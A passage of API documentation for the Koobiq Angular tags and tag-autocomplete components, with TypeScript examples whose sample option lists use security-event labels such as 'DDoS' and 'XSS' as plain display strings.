    protected readonly tagColor = computed(() => (this.isModelValid() ? this.color.ContrastFade : this.color.Error));

    constructor() {
        toObservable(this.isModelValid)
            .pipe(debounceTime(300), distinctUntilChanged(), takeUntilDestroyed())
            .subscribe((isModelValid) => {
                const tooltip = this.tooltip();

                if (tooltip.isOpen) tooltip.hide();
                if (!isModelValid) tooltip.show(0);
            });
    }

    protected editChange(event: KbqTagEditChange): void {
        switch (event.type) {
            case 'start': {
                this.start(event);
                break;
            }
            case 'cancel': {
                this.cancel(event);
                break;
            }
            case 'submit': {
                this.submit(event);
                break;
            }
            default:
        }
    }

    protected removed(event: KbqTagEvent): void {
        console.info('Tag was removed: ', event);

        this.tagValue.set('');
    }

    protected restart(): void {
        this.tagValue.set(TAG);
        this.tagModel.set(this.tagValue());
    }

    private start({ reason }: KbqTagEditChange): void {
        console.info(`Tag edit was started. Reason: "${reason}".`);
    }

    private cancel(event: KbqTagEditChange): void {
        console.info(`Tag edit was canceled. Reason: "${event.reason}".`);

        if (event.reason === 'focusout' && this.isModelValid()) {
            return this.submit({ ...event, reason: 'Handle submit when focusout' });
        }

        this.tagModel.set(this.tagValue());
    }

    private submit(event: KbqTagEditChange): void {
        console.info(`Tag edit was submitted. Reason: "${event.reason}".`);

        const model = this.trimmedTagModel();

        if (model.length === 0) {
            this.tagModel.set(this.tagValue());

            return event.tag.remove();
        }

        if (!this.isModelValid()) {
            return this.cancel({ ...event, reason: 'Handle cancel when model is invalid' });
        }

        this.tagValue.set(model);
        this.tagModel.set(this.tagValue());
    }
}
```

#### Recommendations

Use a [`Badge`](https://koobiq.io/en/components/badge.md) if you need a colored label in a table or key-value list. Tags should be used exclusively as tokens within input controls.

#### Keyboard navigation

##### Focus on tag

| Key                | Action               |
| ------------------ | -------------------- |
| Space              | Select/deselect tag. |
| Delete / Backspace | Remove tag.          |
| F2 / Enter         | Start editing.       |
| Ctrl + A           | Select all tags.     |

##### Tag editing mode

| Key   | Action          |
| ----- | --------------- |
| Enter | Save changes.   |
| Esc   | Cancel changes. |

### API

#### Components

##### KbqTag (component)

```ts
@Component({
    selector: 'kbq-tag, [kbq-tag], kbq-basic-tag, [kbq-basic-tag]',
    exportAs: 'kbqTag'
})
class KbqTag extends KbqColorDirective implements IFocusableOption, KbqTitleTextRef {
    readonly editable = input<boolean | undefined>();
    readonly preventEditSubmit = input<boolean>(false);
    readonly selected = input(false);
    value = input<NonNullable<unknown> | null | undefined>();
    readonly selectable = input(false);
    readonly removable = input(true);
    tabindex = input<number | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    readonly editChange = output<KbqTagEditChange>();
    readonly selectionChange = output<KbqTagSelectionChange>();
    readonly destroyed = output<KbqTagEvent>();
    readonly removed = output<KbqTagEvent>();
    changeDetectorRef: ChangeDetectorRef;
    readonly contentChildren: Signal<readonly KbqIcon[]>;
    readonly avatar: Signal<KbqTagAvatar | undefined>;
    readonly trailingIcon: Signal<KbqTagTrailingIcon | undefined>;
    readonly removeIcon: Signal<any>;
    get canRemove(): boolean;
    get colorClassName(): string;
    select(): void;
    deselect(): void;
    toggleSelected(isUserInput?: boolean): boolean;
    focus(): void;
    remove(): void;
    setDefaultColor(color: T): void;
}
```

- `[editable]`: `boolean | undefined` — Whether the tag is editable.
- `[preventEditSubmit]`: `boolean` — Whether the tag edits can't be submitted.
- `[selected]`: `Signal<boolean>` — Whether the tag is selected.
- `[value]`: `NonNullable<unknown> | null | undefined` — The value of the tag. Defaults to the content inside `<kbq-tag>` tags.
- `[selectable]`: `Signal<boolean>` — Whether the tag is selectable.
- `[removable]`: `Signal<boolean>` — Determines whether the tag is removable.
- `[tabindex]`: `number | null | undefined` — Tab order of the tag.
- `[disabled]`: `boolean | undefined` — Whether the tag is disabled.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `(editChange)`: `KbqTagEditChange` — Emits event when the tag is edited.
- `(selectionChange)`: `KbqTagSelectionChange` — Emitted when the tag is selected or deselected.
- `(destroyed)`: `KbqTagEvent` — Emitted when the tag is destroyed and leaving the DOM.
- `(removed)`: `KbqTagEvent` — Emitted when a tag is to be removed.
  Fires on programmatic and UI removal (click or keyboard).
- `avatar`: `Signal<KbqTagAvatar | undefined>` — The tag avatar
- `trailingIcon`: `Signal<KbqTagTrailingIcon | undefined>` — The tag's trailing icon.
- `removeIcon`: `Signal<any>` — The tag's remove toggler.
- `canRemove`: `boolean` — Whether the user may remove this tag through the controls the tag itself offers — the remove
  control and the `Delete` key. A disabled tag offers neither.

  This is the affordance, not the channel: `remove()` stays open so the list can still clear a
  disabled tag when `clearPredicate` asks for it.
- `colorClassName`: `string` — current class name of color
- `select()`: `void` — Selects the tag.
- `deselect()`: `void` — Deselects the tag.
- `toggleSelected()`: `boolean` — Toggles the current selected state of the tag.
- `focus()`: `void` — Focuses the tag.
- `remove()`: `void` — Allows for programmatic removal of the tag. Called by the KbqTagList when the DELETE or
  BACKSPACE keys are pressed.

  Informs any listeners of the removal request. Does not remove the tag from the DOM.
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqTagList (component)

```ts
@Component({ selector: 'kbq-tag-list', exportAs: 'kbqTagList' })
class KbqTagList implements KbqFormFieldControl<any>, ControlValueAccessor, CanUpdateErrorState {
    draggable = input<boolean | undefined>();
    readonly selectable = input<boolean>(true);
    readonly editable = input<boolean>(false);
    readonly clearPredicate = input<(tag: KbqTag) => boolean>(
        (tag) => !tag.disabled
    );
    readonly removable = input<boolean>(true);
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly dropped = output<KbqTagListDroppedEvent>();
    readonly change = output<KbqTagListChange>();
    defaultErrorStateMatcher: ErrorStateMatcher;
    parentForm: NgForm | null;
    parentFormGroup: FormGroupDirective | null;
    ngControl: NgControl;
    readonly focused: Signal<boolean>;
    notifyPendingTagChange(): void;
    focus(): void;
    blur(): void;
    markAsTouched(): void;
}
```

- `[draggable]`: `boolean | undefined` — Whether the tags in the list can be reordered by dragging.
- `[selectable]`: `boolean` — Whether or not this tag list is selectable. When a tag list is not selectable,
  the selected states for all the tags inside the tag list are always ignored.
- `[editable]`: `boolean` — Whether the tags in the list are editable.
- `[clearPredicate]`: `(tag: KbqTag) => boolean` — Decides which tags the projected `KbqCleaner` removes: return `true` to clear the tag, `false` to
  keep it. Disabled tags are kept by default. Bind a stable reference — a new function on every change
  detection re-runs the predicate over every tag.

  A tag the list does not allow to be removed is never offered, whatever the predicate answers.
- `[removable]`: `boolean` — Whether the tags in the list are removable.
- `[errorStateMatcher]`: `ErrorStateMatcher` — An object used to control when error messages are shown.
- `(dropped)`: `KbqTagListDroppedEvent` — Emits when the user drops tag inside tag list container.
- `(change)`: `KbqTagListChange` — Event emitted when the selected tag list value has been changed by the user.
- `focused`: `Signal<boolean>` — Whether any tags or the kbqTagInput inside of this tag-list has focus.
- `notifyPendingTagChange()`: `void` — Notifies that the next `tags.changes` emission is UI-initiated.
- `focus()`: `void` — Focuses the tag list. If there is a tag input, focuses that instead.
- `blur()`: `void` — When blurred, mark the field as touched when focus moved outside the tag list.
- `markAsTouched()`: `void` — Mark the field as touched

#### Directives

##### KbqTagEditInput (directive)

Directive to add input behavior for the editable tag.

```ts
@Directive({ selector: '[kbqTagEditInput]', exportAs: 'kbqTagEditInput' })
class KbqTagEditInput {}
```

##### KbqTagEditSubmit (directive)

Directive to add submit behavior for the editable tag.

```ts
@Directive({ selector: '[kbqTagEditSubmit]', exportAs: 'kbqTagEditSubmit' })
class KbqTagEditSubmit {}
```

##### KbqTagInput (directive)

Directive that adds tag-specific behaviors to an input element inside `<kbq-form-field>`.
May be placed inside or outside of an `<kbq-tag-list>`.

```ts
@Directive({
    selector: 'input[kbqTagInputFor]',
    exportAs: 'kbqTagInput, kbqTagInputFor'
})
class KbqTagInput implements KbqTagTextControl {
    readonly separatorKeyCodes = input<number[]>(
        this.defaultOptions.separatorKeyCodes,
        { alias: 'kbqTagInputSeparatorKeyCodes' }
    );
    readonly distinct = input<boolean>(false);
    readonly placeholder = input<string>('');
    readonly id = input<string>(
        inject(_IdGenerator).getId('kbq-tag-list-input-')
    );
    readonly tagList = input<KbqTagList | undefined>(undefined, {
        alias: 'kbqTagInputFor'
    });
    readonly addOnBlur = input<boolean>(true, {
        alias: 'kbqTagInputAddOnBlur'
    });
    readonly addOnPaste = input<boolean>(
        this.defaultOptions.addOnPaste ?? true,
        { alias: 'kbqTagInputAddOnPaste' }
    );
    disabled = input<boolean | undefined>();
    readonly tagEnd = output<KbqTagInputEvent>({
        alias: 'kbqTagInputTokenEnd'
    });
    readonly autofilled: Signal<boolean>;
    readonly empty: Signal<boolean>;
    focus(): void;
}
```

- `[kbqTagInputSeparatorKeyCodes]`: `number[]` — The list of key codes that will trigger a tagEnd event.

  Defaults to `[ENTER]`.
- `[distinct]`: `boolean` — A value indicating whether allow/prevent tags duplication
- `[placeholder]`: `string` — The input's placeholder text.
- `[id]`: `string` — Unique id for the input.
- `[kbqTagInputFor]`: `KbqTagList | undefined` — Register input for tag list.
- `[kbqTagInputAddOnBlur]`: `boolean` — Whether or not the tagEnd event will be emitted when the input is blurred.
- `[kbqTagInputAddOnPaste]`: `boolean` — Whether the tagEnd event will be emitted when the text pasted. Defaults to `addOnPaste` of
  `KBQ_TAGS_DEFAULT_OPTIONS`, or `true`.
- `[disabled]`: `boolean | undefined` — Whether the input is disabled.
- `(kbqTagInputTokenEnd)`: `KbqTagInputEvent` — Emitted when a tag is to be added.
- `autofilled`: `Signal<boolean>` — Whether the control's value was filled in by the browser.
- `empty`: `Signal<boolean>` — Whether the input is empty.
- `focus()`: `void` — Focuses the input.

##### KbqTagPrefix (directive)

Marks content to be projected into the prefix (leading) slot of a tag.

```ts
@Directive({ selector: '[kbqTagPrefix]' })
class KbqTagPrefix {}
```

##### KbqTagRemove (directive)

Example:

    `<kbq-tag>
      <kbq-icon kbqTagRemove>cancel</kbq-icon>
    </kbq-tag>`

You *may* use a custom icon, but you may need to override the `kbq-tag-remove` positioning
styles to properly center the icon within the tag.

```ts
@Directive({ selector: '[kbqTagRemove]' })
class KbqTagRemove {
    readonly ariaLabel = input<string | undefined>(undefined, {
        alias: 'aria-label'
    });
}
```

- `[aria-label]`: `string | undefined` — Accessible name of the button. Defaults to the localized "Remove".

##### KbqTagSuffix (directive)

Marks content to be projected into the suffix (trailing) slot of a tag.

```ts
@Directive({ selector: '[kbqTagSuffix]' })
class KbqTagSuffix {}
```

#### Classes

##### KbqTagEditChange (class)

Event object emitted by KbqTag when the tag is edited.

```ts
class KbqTagEditChange {
    readonly tag: KbqTag;
    readonly type: "start" | "cancel" | "submit";
    readonly reason: string;
    constructor(
        tag: KbqTag,
        type: "start" | "cancel" | "submit",
        reason: string
    );
}
```

##### KbqTagListChange (class)

Change event object that is emitted when the tag list value has changed.

```ts
class KbqTagListChange {
    source: KbqTagList;
    value: any;
    constructor(source: KbqTagList, value: any);
}
```

##### KbqTagSelectionChange (class)

Event object emitted by KbqTag when selected or deselected.

```ts
class KbqTagSelectionChange {
    source: KbqTag;
    selected: boolean;
    isUserInput: boolean;
    constructor(
        source: KbqTag,
        selected: boolean,
        isUserInput?: boolean
    );
}
```

#### Types

##### KbqTagEvent (type)

Event object emitted by KbqTag.

```ts
type KbqTagEvent = {
    tag: KbqTag;
};
```

##### KbqTagFocusEvent (type)

Event object emitted when the KbqTag is focused.

```ts
type KbqTagFocusEvent = KbqTagEvent & {
    origin: FocusOrigin;
};
```

##### KbqTagInputEvent (interface)

Represents an input event on a `kbqTagInput`.

```ts
interface KbqTagInputEvent {
    input: HTMLInputElement;
    value: string;
}
```

- `input`: `HTMLInputElement` — The native `<input>` element that the event is being fired for.
- `value`: `string` — The value of the input.

##### KbqTagListDroppedEvent (type)

```ts
type KbqTagListDroppedEvent = Pick<CdkDragDrop<unknown>, 'event' | 'previousIndex' | 'currentIndex'> & {
    tag: KbqTag;
};
```

##### KbqTagsDefaultOptions (interface)

Default options for the tags module that can be overridden.

```ts
interface KbqTagsDefaultOptions {
    separatorKeyCodes: number[];
    separators?: KbqTagSeparator[];
    addOnPaste?: boolean;
}
```

- `separatorKeyCodes`: `number[]` — The list of key codes that will trigger a tagEnd event.
- `separators?`: `KbqTagSeparator[]` — Custom separator definitions to use instead of the built-in defaults.
- `addOnPaste?`: `boolean` — Whether the tagEnd event will be emitted when text is pasted.

##### KbqTagSeparator (interface)

Defines a character or pattern that ends a tag, and the contexts in which it applies.

```ts
interface KbqTagSeparator {
    symbol: RegExp;
    key?: string;
    keyCode?: number;
    appliesTo?: KbqTagSeparatorContext[];
}
```

- `symbol`: `RegExp` — Regular expression used to match/split this separator in text.
- `key?`: `string` — `KeyboardEvent.key` that triggers this separator while typing.
  Omit for separators with no single-keystroke equivalent (e.g. a run of whitespace) —
  those are implicitly paste-only, since they can never match a `keydown`.
- `keyCode?`: `number` — Numeric key code gating whether this separator is enabled, set via `kbqTagInputSeparatorKeyCodes`.
  Omit together with `key` for separators that should always be active regardless of that input.
- `appliesTo?`: `KbqTagSeparatorContext[]` — Contexts this separator applies to. Defaults to `['input', 'paste']`.

##### KbqTagSeparatorContext (type)

Contexts a `KbqTagSeparator` can be active in.

```ts
type KbqTagSeparatorContext = 'input' | 'paste';
```

#### Constants

##### KBQ_TAGS_DEFAULT_OPTIONS (const)

Injection token to be used to override the default options.

```ts
const KBQ_TAGS_DEFAULT_OPTIONS: InjectionToken<KbqTagsDefaultOptions>;
```

##### kbqTagsDefaultOptionsProvider (const)

Utility provider for `KBQ_TAGS_DEFAULT_OPTIONS`.

```ts
const kbqTagsDefaultOptionsProvider: (
    options: Partial<KbqTagsDefaultOptions>
) => Provider;
```

## Tag autocomplete

- Entry point: `@koobiq/components/tags`
- NgModule: `KbqTagsModule`
- Page: https://koobiq.io/en/components/tag-autocomplete/overview

### Overview

Tags Autocomplete is used to select one or multiple values from a list and to input custom values.

When focusing on the field, the dictionary menu opens. Autocomplete changes as you type. Selecting an option from the list adds a tag, clears the text in the field, and closes the menu.

**Example: Tag autocomplete overview** (`tag-autocomplete-overview`)

```ts tag-autocomplete-overview-example.ts
import { moveItemInArray } from '@angular/cdk/drag-drop';
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, ElementRef, model, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import {
    KbqTagEvent,
    KbqTagInput,
    KbqTagInputEvent,
    KbqTagListDroppedEvent,
    KbqTagsModule
} from '@koobiq/components/tags';

const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'IDS/IPS Alert',
    'Zero-Day Exploit',
    'XSS',
    'Malware',
    'Ransomware',
    'Phishing'
];

@Component({
    selector: 'tag-autocomplete-overview-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList" draggable (dropped)="dropped($event)">
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder="New tag"
                    [kbqTagInputFor]="tagList"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [kbqTagInputAddOnBlur]="true"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: tagInputModel().trim()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteOverviewExample {
    private readonly options = getAutocompleteOptions();
    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(this.options.slice(0, 3));
    protected readonly filteredOptions = computed(() => {
        const current = this.tagInputModel().trim().toLowerCase();
        const options = this.options.filter((option) => !this.tags().includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });
    private readonly input = viewChild.required(KbqTagInput, { read: ElementRef });

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(tag.value);

            tags.splice(index, 1);

            return [...tags];
        });
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }

    protected dropped({ previousIndex, currentIndex }: KbqTagListDroppedEvent): void {
        moveItemInArray(this.tags(), previousIndex, currentIndex);
        this.focusInput();
    }

    protected afterRemove(): void {
        this.focusInput();
    }

    private focusInput(): void {
        this.input().nativeElement.focus();
    }
}
```

The menu belongs to [autocomplete](https://koobiq.io/en/components/autocomplete.md) — its width is configured there, through the `panelWidth` and `panelMinWidth` attributes of `<kbq-autocomplete>`, and is measured against the whole field rather than the input.

#### Menu next to the caret

Suggestions can be shown next to the text caret. Set `kbqAutocompleteRelativeToCaret` on the input field to enable this.

**Example: Tag autocomplete relative to caret** (`tag-autocomplete-relative-to-caret`)

```ts tag-autocomplete-relative-to-caret-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEvent, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

@Component({
    selector: 'tag-autocomplete-relative-to-caret-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList">
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder="New tag"
                    [kbqAutocomplete]="autocomplete"
                    [kbqAutocompleteRelativeToCaret]="true"
                    [kbqTagInputAddOnBlur]="true"
                    [kbqTagInputFor]="tagList"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: tagInputModel().trim()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        kbq-form-field {
            width: 480px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-row layout-align-center-center'
    }
})
export class TagAutocompleteRelativeToCaretExample {
    private readonly options = [
        'Acronis',
        'AegisLab',
        'AhnLab-V3',
        'Avast',
        'Babable',
        'ClamAV',
        'CrowdStrike Falcon',
        'NANO-Antivirus',
        'Palo Alto Networks',
        'TheHacker'
    ];

    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(['TheHacker', 'ClamAV', 'NANO-Antivirus', 'Babable', 'Palo Alto Networks']);
    protected readonly filteredOptions = computed(() => {
        const current = this.tagInputModel().trim().toLowerCase();
        const options = this.options.filter((option) => !this.tags().includes(option));

        return current ? options.filter((option) => option.toLowerCase().includes(current)) : options;
    });

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => tags.filter((value) => value !== tag.value));
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }
}
```

#### Search

Search splits a multi-word query into parts and searches for them independently, trims leading and trailing spaces, is case-insensitive, and folds diacritics. The algorithm is described in the [Smart search guide](https://koobiq.io/en/other/search-smart.md).

**Example: Tag autocomplete search** (`tag-autocomplete-search`)

```ts tag-autocomplete-search-example.ts
import { COMMA, ENTER } from '@angular/cdk/keycodes';
import { ChangeDetectionStrategy, Component, computed, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { createSearchPredicate, KbqHighlightBackgroundPipe, tokenizeSearchQuery } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagEvent, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';

const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'IDS/IPS Alert',
    'Zero-Day Exploit',
    'XSS',
    'Malware',
    'Ransomware',
    'Phishing'
];

@Component({
    selector: 'tag-autocomplete-search-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList">
                @for (tag of tags(); track tag) {
                    <kbq-tag [value]="tag" (removed)="removed($event)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove></i>
                    </kbq-tag>
                }

                <input
                    #input
                    kbqInput
                    placeholder='Try "exploit zero"'
                    [kbqTagInputFor]="tagList"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    [kbqTagInputAddOnBlur]="true"
                    [(ngModel)]="tagInputModel"
                    (kbqTagInputTokenEnd)="create($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>

            <kbq-autocomplete #autocomplete="kbqAutocomplete" (optionSelected)="selected($event, input)">
                @for (option of filteredOptions(); track option) {
                    <kbq-option [value]="option">
                        <span [innerHTML]="option | kbqHighlightBackground: searchTokens()"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteSearchExample {
    private readonly options = getAutocompleteOptions();
    protected readonly separatorKeysCodes = [ENTER, COMMA];
    protected readonly tagInputModel = model('');
    protected readonly tags = model(this.options.slice(0, 2));
    protected readonly searchTokens = computed(() => tokenizeSearchQuery(this.tagInputModel().trim()));
    protected readonly filteredOptions = computed(() => {
        const options = this.options.filter((option) => !this.tags().includes(option));
        const predicate = createSearchPredicate(this.tagInputModel().trim());

        return options.filter(predicate);
    });

    protected create({ input, value = '' }: KbqTagInputEvent): void {
        if (value) {
            this.tags.update((tags) => [...tags, value]);
            input.value = '';
            this.tagInputModel.set('');
        }
    }

    protected removed({ tag }: KbqTagEvent): void {
        this.tags.update((tags) => {
            const index = tags.indexOf(tag.value);

            tags.splice(index, 1);

            return [...tags];
        });
    }

    protected selected({ option }: KbqAutocompleteSelectedEvent, input: HTMLInputElement): void {
        this.tags.update((tags) => [...tags, option.value]);
        input.value = '';
        this.tagInputModel.set('');
        option.deselect();
    }
}
```

#### Adding to dictionary

The option to create a new tag is placed first in the autocomplete menu. It creates a new token from the entered text if it doesn't exist in the dictionary.

Adding a tag also works with the `Tab` key.

Creating a duplicate of a selected tag is not allowed: the system will show the message `Nothing found`.

**Example: Tag autocomplete option operations** (`tag-autocomplete-option-operations`)

```ts tag-autocomplete-option-operations-example.ts
import { AsyncPipe } from '@angular/common';
import { AfterViewInit, ChangeDetectionStrategy, Component, ElementRef, viewChild } from '@angular/core';
import { FormControl, FormsModule, ReactiveFormsModule } from '@angular/forms';
import { KbqAutocompleteModule, KbqAutocompleteSelectedEvent } from '@koobiq/components/autocomplete';
import { KbqHighlightBackgroundPipe } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqTagInput, KbqTagInputEvent, KbqTagsModule } from '@koobiq/components/tags';
import { Observable } from 'rxjs';
import { map, startWith } from 'rxjs/operators';

const autocompleteValueCoercion = (value): string => (value?.new ? value.value : value) || '';
const getAutocompleteOptions = () => [
    'BruteForce',
    'Complex Attack',
    'DDoS',
    'HIPS alert',
    'IDS/IPS Alert',
    'Zero-Day Exploit',
    'XSS',
    'Malware',
    'Ransomware',
    'Phishing'
];

@Component({
    selector: 'tag-autocomplete-option-operations-example',
    imports: [
        FormsModule,
        KbqTagsModule,
        ReactiveFormsModule,
        KbqAutocompleteModule,
        KbqIconModule,
        AsyncPipe,
        KbqInputModule,
        KbqHighlightBackgroundPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-tag-list #tagList="kbqTagList">
                @for (tag of selectedTags; track $index) {
                    <kbq-tag [value]="tag" (removed)="onRemove(tag)">
                        {{ tag }}
                        <i kbq-icon="kbq-xmark-s_16" kbqTagRemove (click)="afterRemove()"></i>
                    </kbq-tag>
                }
                <input
                    #tagInput
                    autocomplete="off"
                    placeholder="New tag"
                    kbqInput
                    [distinct]="true"
                    [formControl]="control"
                    [kbqAutocomplete]="autocomplete"
                    [kbqTagInputAddOnBlur]="false"
                    [kbqTagInputFor]="tagList"
                    [kbqTagInputSeparatorKeyCodes]="separatorKeysCodes"
                    (blur)="addOnBlurFunc($event)"
                    (kbqTagInputTokenEnd)="onCreate($event)"
                />

                <kbq-cleaner />
            </kbq-tag-list>
            <kbq-autocomplete #autocomplete (optionSelected)="onSelect($event)">
                @if (canCreate) {
                    <kbq-option [value]="{ new: true, value: tagInput.value }">Create: {{ tagInput.value }}</kbq-option>
                }
                @if (hasDuplicates) {
                    <kbq-option [disabled]="true">Nothing found</kbq-option>
                }
                @for (tag of filteredTags | async; track tag) {
                    <kbq-option [value]="tag">
                        <span [innerHTML]="tag | kbqHighlightBackground: tagInput.value"></span>
                    </kbq-option>
                }
            </kbq-autocomplete>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: var(--kbq-size-m);
            margin: var(--kbq-size-5xl);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TagAutocompleteOptionOperationsExample implements AfterViewInit {
    protected readonly allTags = getAutocompleteOptions();
    protected readonly selectedTags = [...this.allTags.slice(0, 2)];
    protected readonly separatorKeysCodes = [];

    readonly tagInput = viewChild.required<ElementRef<HTMLInputElement>>('tagInput');
    readonly tagInputDirective = viewChild.required('tagInput', { read: KbqTagInput });

    control = new FormControl();

    filteredTags: Observable<string[]>;
    hasDuplicates: boolean = false;

    readonly kbqOptionTagName = 'KBQ-OPTION';

    get canCreate(): boolean {
        const cleanedValue: string = (this.control.value || '').trim();

        return (
            !!cleanedValue && [...new Set(this.allTags.concat(this.selectedTags))].every((tag) => tag !== cleanedValue)
        );
    }

    ngAfterViewInit(): void {
        this.filteredTags = this.control.valueChanges
            .pipe(map((e) => this.onControlValueChanges(e)))
            .pipe(startWith(this.allTags.filter((tag) => !this.selectedTags.includes(tag))));
    }

    onCreate({ input, value }: KbqTagInputEvent): void {
        this.control.setValue(value);
        const cleanedValue = (value || '').trim();

        if (cleanedValue && this.canCreate) {
            this.selectedTags.push(cleanedValue);

            // Reset the input value
            if (input) input.value = '';

            this.control.setValue(null);

            return;
        }

        // save input value on paste event to continue editing
        input.value = cleanedValue;
        this.control.setValue(cleanedValue);
    }

    onSelect({ option }: KbqAutocompleteSelectedEvent): void {
        option.deselect();

        this.selectedTags.push(autocompleteValueCoercion(option.value));
        this.control.setValue(null);
        this.tagInput().nativeElement.value = '';
    }

    onRemove(tag: any): void {
        const index = this.selectedTags.indexOf(tag);

        if (index >= 0) {
            this.selectedTags.splice(index, 1);
        }
    }

    addOnBlurFunc(event: FocusEvent) {
        const target: HTMLElement = event.relatedTarget as HTMLElement;

        if (!target || target.tagName !== this.kbqOptionTagName) {
            const kbqTagEvent: KbqTagInputEvent = {
                input: this.tagInput().nativeElement,
